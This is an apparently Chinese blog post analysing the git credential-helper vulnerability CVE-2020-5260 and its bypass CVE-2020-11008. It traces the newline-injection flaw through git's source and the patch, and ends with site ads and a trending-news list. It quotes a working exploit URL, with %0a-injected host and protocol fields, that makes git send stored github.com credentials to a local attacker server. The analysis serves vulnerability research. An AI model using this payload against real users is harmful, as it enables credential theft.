git CVE-2020-5260分析

CVE-2020-5260
url中包含%0a,导致git的credential.helper在查找ur仓库地址对应的账密时,错误匹配到了攻击者指定条件的credential。从而获取受害者本地缓存的账密。

漏洞比较简单,但复现时由于环境原因多次未能成功。 最初在windows环境及wsl中复现,但尝试多个版本均未能成功。后来在虚拟机kali 64位环境下自带的2.24.0版本复现成功。为了便于调试,使用2.24.0版本编译重装
1,安装编译工具 apt install -y build-essential
2,安装git需要的一些库 apt install -y libcurl4-gnutls-dev libexpat1-dev gettext libz-dev libssl-dev
3,开始编译安装:

4,在本地缓存密码

5,启动接收账密的server

6,克隆恶意仓库

漏洞复现就完成了,没什么难度

fprintf时value中包含\n,导致写入了新行。

在新行中覆盖掉protocol和host,如

导致读取credential时读的是github.com,但是仓库地址是example.com,看起来很简单,但是不了解git源码,完全不知道c的值以及credential读取的方式。

看了几天代码,仍然对git的流程不是很了解。
于是决定用gdb进行调试分析,用到的命令如下

经过调试了解到git频繁使用子进程来处理任务,先使用fork创建一个子进程,然后在子进程中调用execv来执行实际任务,在父进程中通过io传递参数git clone 'http://localhost:8088?%0ahost=github.com%0aprotocol=https'的实际处理过程大致如下
1.?调用git-remote-http?origin http://localhost:8088?%0ahost=github.com%0aprotocol=https父进程会往stdin中写入

2.?在http.c::http_request_reauth调用?credential_fill(&http_auth)来获取本地缓存的账密。其中http_auth通过credential_from_url解析仓库地址得到 ? ? ? ? ? ?
3.?credential_fill最终调用run_credential_helper,创建子进程获取账密。实际查询账密的进程为?git-credential-store get? 父进程将要查询的credential写入io,即credential_write(c, fp);?credential.c:L232
4.?在credential-store.c::cmd_main调用lookup_credential查询账密,返回给父进程,这个过程中函数credential_match有点意思,先按住不表
?
漏洞的调用过程如上,url中的%0a在第3步时生效,导致父进程写入的查询条件如下

于是lookup_credential查询出来的账密是github.com的账密。
再额外分析一下credential_match

看CHECK的定义,如果要查询的字段x的值为空,则触发短路返回true。
如果有机会使host为NULL,也可以达到这个漏洞效果。
Bypass CVE-2020-5260
CVE-2020-11008
虽然说是bypass,但PoC完全没有变。
分析一下官方的修复diff v2.24.1 v2.24.2

增加了check_url_component,该函数检测到credential的值中存在\n会返回-1。在credential_from_url中增加了这个判断,返回值<0时会用credential_clear清空credential
这个就有意思了,前面分析过get-credential-store get,如果父进程传入的credential为空,那会直接匹配到第一个缓存的密码,也就是说可以通过\n清空credential,从而匹配到账密

?
参考链接
https://git-scm.com/docs/api-credentials
http://schacon.github.io/git/user-manual.html#birdview-on-the-source-code
https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=437011//poc.go
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5260
https://bugs.chromium.org/p/project-zero/issues/detail?id=2021
https://git-scm.com/docs/gitcredentials
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号随时掌握互联网精彩
- 1 打好关键核心技术攻坚战 7904489
- 2 在南海坠毁的2架美国军机已被捞出 7808458
- 3 立陶宛进入紧急状态 卢卡申科发声 7712858
- 4 持续巩固增强经济回升向好态势 7617738
- 5 多家店铺水银体温计售空 7521646
- 6 奶奶自爷爷去世9个月后变化 7426609
- 7 仅退款225个快递女子已归案 7332239
- 8 日舰曾收到中方提示 7233222
- 9 穷滑的年轻人把中产滑雪拉下神坛 7140487
- 10 我国成功发射遥感四十七号卫星 7041445







斗鱼安全应急响应中心
